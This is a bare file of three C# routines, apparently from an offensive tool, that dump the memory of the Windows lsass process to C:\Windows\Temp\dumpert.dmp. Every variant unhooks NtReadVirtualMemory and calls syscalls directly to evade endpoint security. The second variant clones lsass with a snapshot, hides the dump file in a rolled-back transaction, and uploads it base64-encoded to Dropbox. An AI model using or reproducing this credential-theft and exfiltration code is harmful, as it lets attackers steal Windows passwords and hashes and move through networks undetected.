public static void Execute(string[] args) { if (IntPtr.Size != 8) { return; } if (!IsElevated()) { Console.WriteLine("Run in High integrity context"); return; } SetDebugPrivilege(); Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO(); Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW(); osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); Natives.RtlGetVersion(ref osInfo); pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion; Console.WriteLine("[*] OS MajorMinor version : " + pWinVerInfo.chOSMajorMinor); if (!pWinVerInfo.chOSMajorMinor.Equals("10.0")) { Console.WriteLine("[x] Windows 10 - Windows Server 2016 only"); return; } pWinVerInfo.SystemCall = 0x3F; Natives.RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe"); pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id; pWinVerInfo.lpApiCall = "NtReadVirtualMemory"; if (!UnHookNativeApi(pWinVerInfo)) { Console.WriteLine("[x] error unhooking {0}", pWinVerInfo.lpApiCall); return; } Natives.CLIENT_ID clientid = new Natives.CLIENT_ID(); clientid.UniqueProcess = pWinVerInfo.hTargetPID; clientid.UniqueThread = IntPtr.Zero; IntPtr hProcess = IntPtr.Zero; Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES(); var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid); if (hProcess == IntPtr.Zero) { Console.WriteLine("[x] Error ZwOpenProcess10 " + status); return; } Console.WriteLine("[*] ZwOpenProcess10 " + status); Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION; IntPtr SnapshotHandle = IntPtr.Zero; int pss = Natives.PssCaptureSnapshot(hProcess, flags, 1048607, ref SnapshotHandle); Console.WriteLine("[*] PssCaptureSnapshot " + pss); if (SnapshotHandle == IntPtr.Zero) { Console.WriteLine("[x] Error PssCaptureSnapshot "); return; } Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING(); Natives.RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp"); Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile; IntPtr hElm = IntPtr.Zero; Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK(); IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName)); Marshal.StructureToPtr(uFileName, objectName, true); Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES { ObjectName = objectName, Attributes = 0x00000040, Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER(); lint.HighPart = 0; lint.LowPart = 0; long allocationsize = 0; status = NativeSysCall.NtCreateFile10( out hDmpFile, (int)Natives.FILE_GENERIC_WRITE, ref FileObjectAttributes, out IoStatusBlock, ref allocationsize, Natives.FILE_ATTRIBUTE_NORMAL, System.IO.FileShare.Write, Natives.FILE_OVERWRITE_IF, Natives.FILE_SYNCHRONOUS_IO_NONALERT, hElm, 0); if (hDmpFile.IsInvalid) { Console.WriteLine("[x] Error NtCreateFile10 " + status + " " + IoStatusBlock.status); NativeSysCall.ZwClose10(hProcess); return; } Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION(); CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback; CallbackInfo.CallbackParam = IntPtr.Zero; IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo)); Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false); IntPtr ExceptionParam = IntPtr.Zero; IntPtr UserStreamParam = IntPtr.Zero; IntPtr CallbackParam = IntPtr.Zero; Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID); Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID); if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo)) { Console.WriteLine("[x] Error MiniDumpWriteDump "); NativeSysCall.ZwClose10(hProcess); return; } hDmpFile.Dispose(); NativeSysCall.ZwClose10(hProcess); Console.WriteLine("[*] End "); Console.WriteLine("[*] Minidump generated in " + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4)); }
public unsafe static void Execute(string[] args) { if (IntPtr.Size != 8) { return; } if (!IsElevated()) { Console.WriteLine("Run in High integrity context"); return; } SetDebugPrivilege(); Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO(); Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW(); osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); Natives.RtlGetVersion(ref osInfo); pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion; Console.WriteLine("[*] OS MajorMinor version : " + pWinVerInfo.chOSMajorMinor); if (!pWinVerInfo.chOSMajorMinor.Equals("10.0")) { Console.WriteLine("[x] Windows 10 - Windows Server 2016 only"); return; } pWinVerInfo.SystemCall = 0x3F; Natives.RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe"); pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id; pWinVerInfo.lpApiCall = "NtReadVirtualMemory"; if (!UnHookNativeApi(pWinVerInfo)) { Console.WriteLine("[x] error unhooking {0}", pWinVerInfo.lpApiCall); return; } Natives.CLIENT_ID clientid = new Natives.CLIENT_ID(); clientid.UniqueProcess = pWinVerInfo.hTargetPID; clientid.UniqueThread = IntPtr.Zero; IntPtr hProcess = IntPtr.Zero; Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES(); var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid); if (hProcess == IntPtr.Zero) { Console.WriteLine("[x] Error ZwOpenProcess10 " + status); return; } Console.WriteLine("[*] ZwOpenProcess10: " + status); Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION; IntPtr SnapshotHandle = IntPtr.Zero; int pss = Natives.PssCaptureSnapshot(hProcess, flags, 1048607, ref SnapshotHandle); Console.WriteLine("[*] PssCaptureSnapshot " + pss); if (SnapshotHandle == IntPtr.Zero) { Console.WriteLine("[x] Error PssCaptureSnapshot "); return; } IntPtr tHandle = IntPtr.Zero; status = NativeSysCall.NtCreateTransaction10(out tHandle, Natives.MAXIMUM_ALLOWED, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, 0, 0, IntPtr.Zero, IntPtr.Zero); Console.WriteLine("[*] Transaction: " + status); bool success = RtlSetCurrentTransaction(tHandle); Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING(); Natives.RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp"); IntPtr hDmpFile; IntPtr hElm = IntPtr.Zero; Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK(); IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName)); Marshal.StructureToPtr(uFileName, objectName, true); Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES { ObjectName = objectName, Attributes = 0x00000040, Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER(); lint.HighPart = 0; lint.LowPart = 0; long allocationsize = 0; const long READWRITE = Natives.FILE_GENERIC_READ | Natives.FILE_GENERIC_WRITE; status = NativeSysCall.NtCreateFile10( out hDmpFile, (int)READWRITE, ref FileObjectAttributes, out IoStatusBlock, ref allocationsize, Natives.FILE_ATTRIBUTE_NORMAL, System.IO.FileShare.Write, Natives.FILE_OVERWRITE_IF, Natives.FILE_SYNCHRONOUS_IO_NONALERT, hElm, 0); success = RtlSetCurrentTransaction(IntPtr.Zero); Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION(); CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback; CallbackInfo.CallbackParam = IntPtr.Zero; IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo)); Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false); IntPtr ExceptionParam = IntPtr.Zero; IntPtr UserStreamParam = IntPtr.Zero; IntPtr CallbackParam = IntPtr.Zero; Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID); Console.WriteLine("[*] Generating minidump.... "); if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo)) { Console.WriteLine("[x] Error MiniDumpWriteDump "); NativeSysCall.ZwClose10(hProcess); return; } int size = GetFileSize(hDmpFile, IntPtr.Zero); IntPtr hMapping = CreateFileMapping(hDmpFile, 0, (uint)Natives.PROTECT.PAGE_READONLY, 0, 0, ""); IntPtr data = MapViewOfFile(hMapping, Natives.FILE_MAP_READ, 0, 0, 0); Console.WriteLine("[*] Data: 0x" + Convert.ToString((long)data, 16)); byte[] data_ = new byte[size]; Marshal.Copy(data, data_, 0, size); string b64 = Convert.ToBase64String(data_); Console.WriteLine("[*] Sending " + b64.Length / (1024 * 1024) + " megabytes of data..."); SslTcpClient.RunClient("content.dropboxapi.com", "<FOLDER>", "<DROPBOX TOKEN>", b64); int stat = NtRollbackTransaction(tHandle, false); NativeSysCall.ZwClose10(hDmpFile); NativeSysCall.ZwClose10(hProcess); NativeSysCall.ZwClose10(tHandle); Console.WriteLine("[*] Done! "); }
static void Main(string[] args) { if (IntPtr.Size != 8) { return; } if (!IsElevated()) { Console.WriteLine("Run in High integrity context"); return; } SetDebugPrivilege(); Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO(); Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW(); osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); //I know, this is not realy needed but today I have fun on run stuff dynamically :D IntPtr ntdll = Natives.LoadLibraryA("ntdll.dll"); IntPtr proc = Natives.GetProcAddress(ntdll, "RtlGetVersion"); NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion)); RtlGetVersion(ref osInfo); pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion; Console.WriteLine("[*] OS MajorMinor version : " + pWinVerInfo.chOSMajorMinor); if (!pWinVerInfo.chOSMajorMinor.Equals("10.0")) { Console.WriteLine("[x] Windows 10 - Windows Server 2016 only"); return; } pWinVerInfo.SystemCall = 0x3F; proc = Natives.GetProcAddress(ntdll, "RtlInitUnicodeString"); NativeSysCall.Delegates.RtlInitUnicodeString RtlInitUnicodeString = (NativeSysCall.Delegates.RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlInitUnicodeString)); RtlInitUnicodeString(ref pWinVerInfo.ProcName, @"lsass.exe"); pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName("lsass")[0].Id; pWinVerInfo.lpApiCall = "NtReadVirtualMemory"; if (!UnHookNativeApi(pWinVerInfo)) { Console.WriteLine("[x] error unhooking {0}", pWinVerInfo.lpApiCall); return; } Natives.CLIENT_ID clientid = new Natives.CLIENT_ID(); clientid.UniqueProcess = pWinVerInfo.hTargetPID; clientid.UniqueThread = IntPtr.Zero; IntPtr hProcess = IntPtr.Zero; Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES(); // objAttribute.ObjectName = null; var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid); if (hProcess == IntPtr.Zero) { Console.WriteLine("[x] Error ZwOpenProcess10 " + status); return; } Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING(); RtlInitUnicodeString(ref uFileName, @"\??\C:\Windows\Temp\dumpert.dmp"); Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile; IntPtr hElm = IntPtr.Zero; Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK(); IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName)); Marshal.StructureToPtr(uFileName, objectName, true); Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES { ObjectName = objectName, Attributes = 0x00000040, Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER(); lint.HighPart = 0; lint.LowPart = 0; long allocationsize = 0; status = NativeSysCall.NtCreateFile10( out hDmpFile, (int)Natives.FILE_GENERIC_WRITE, ref FileObjectAttributes, out IoStatusBlock, ref allocationsize, Natives.FILE_ATTRIBUTE_NORMAL, System.IO.FileShare.Write, Natives.FILE_OVERWRITE_IF, Natives.FILE_SYNCHRONOUS_IO_NONALERT, hElm, 0); if (hDmpFile.IsInvalid) { Console.WriteLine("[x] Error NtCreateFile10 " + status + " " + IoStatusBlock.status); NativeSysCall.ZwClose10(hProcess); return; } IntPtr Dbghelp = Natives.LoadLibraryA("Dbghelp.dll"); proc = Natives.GetProcAddress(Dbghelp, "MiniDumpWriteDump"); NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump)); IntPtr ExceptionParam = IntPtr.Zero; IntPtr UserStreamParam = IntPtr.Zero; IntPtr CallbackParam = IntPtr.Zero; Console.WriteLine("[*] Target PID " + pWinVerInfo.hTargetPID); Console.WriteLine("[*] Generating minidump.... " + pWinVerInfo.hTargetPID); if (!MiniDumpWriteDump(hProcess, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, CallbackParam)) { Console.WriteLine("[x] Error MiniDumpWriteDump "); NativeSysCall.ZwClose10(hProcess); return; } hDmpFile.Dispose(); NativeSysCall.ZwClose10(hProcess); Console.WriteLine("[*] End "); Console.WriteLine("[*] Minidump generated in " + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4)); }